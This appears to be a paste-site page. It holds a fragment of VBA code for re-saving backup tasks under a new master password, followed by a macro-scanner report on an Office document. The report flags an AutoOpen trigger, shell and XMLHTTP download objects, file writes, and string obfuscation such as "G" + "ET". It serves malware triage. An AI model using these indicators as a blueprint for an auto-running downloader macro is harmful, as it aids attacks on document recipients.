  893.     For i = 1 To .count
  894.       If TaskType(.Item(i).SubItems(1), False) = c_TaskTypeBackupFile Then
  895.         Set Task = New cTask
  896.       Else
  897.         Set Task = New cSQLTaskCommandBackup
  898.       End If
  899.      
  900.       Dim oTask As cSQLTaskCommandBackup
  901.       m_MasterPassword = OldMasterPassword
  902.      
  903.       If Task.Load(.Item(i).SubItems(1), False) Then
  904.        
  905.         m_MasterPassword = NewMasterPassword
  906.         Task.Save
  907.       End If
  908.    
  909.     Next
  910.   End With
  911.  
  912.   m_MasterPassword = NewMasterPassword
  913. End Sub
  914.  
  915. +------------+----------------------+-----------------------------------------+
  916. | Type       | Keyword              | Description                             |
  917. +------------+----------------------+-----------------------------------------+
  918. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  919. | Suspicious | Kill                 | May delete a file                       |
  920. | Suspicious | Open                 | May open a file                         |
  921. | Suspicious | Shell                | May run an executable file or a system  |
  922. |            |                      | command                                 |
  923. | Suspicious | vbNormal             | May run an executable file or a system  |
  924. |            |                      | command                                 |
  925. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  926. |            |                      | command                                 |
  927. | Suspicious | MkDir                | May create a directory                  |
  928. | Suspicious | Shell.Application    | May run an application (if combined     |
  929. |            |                      | with CreateObject)                      |
  930. | Suspicious | Binary               | May read or write a binary file (if     |
  931. |            |                      | combined with Open)                     |
  932. | Suspicious | CreateObject         | May create an OLE object                |
  933. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  934. |            |                      | strings                                 |
  935. | Suspicious | ADODB.Stream         | May create a text file                  |
  936. | Suspicious | SaveToFile           | May create a text file                  |
  937. | Suspicious | Write                | May write to a file (if combined with   |
  938. |            |                      | Open)                                   |
  939. | Suspicious | Put                  | May write to a file (if combined with   |
  940. |            |                      | Open)                                   |
  941. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  942. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  943. |            |                      | may be used to obfuscate strings        |
  944. |            |                      | (option --decode to see all)            |
  945. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  946. |            | Strings              | may be used to obfuscate strings        |
  947. |            |                      | (option --decode to see all)            |
  948. | VBA string |                      | Chr$(10) & Chr$(13) & " "               |
  949. |            |
  950.                     |                                         |
  951. | VBA string | GET                  | "G" + "ET"                              |
  952. | VBA string | TEMP                 | ("TE" + "" + "MP")                      |
  953. +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement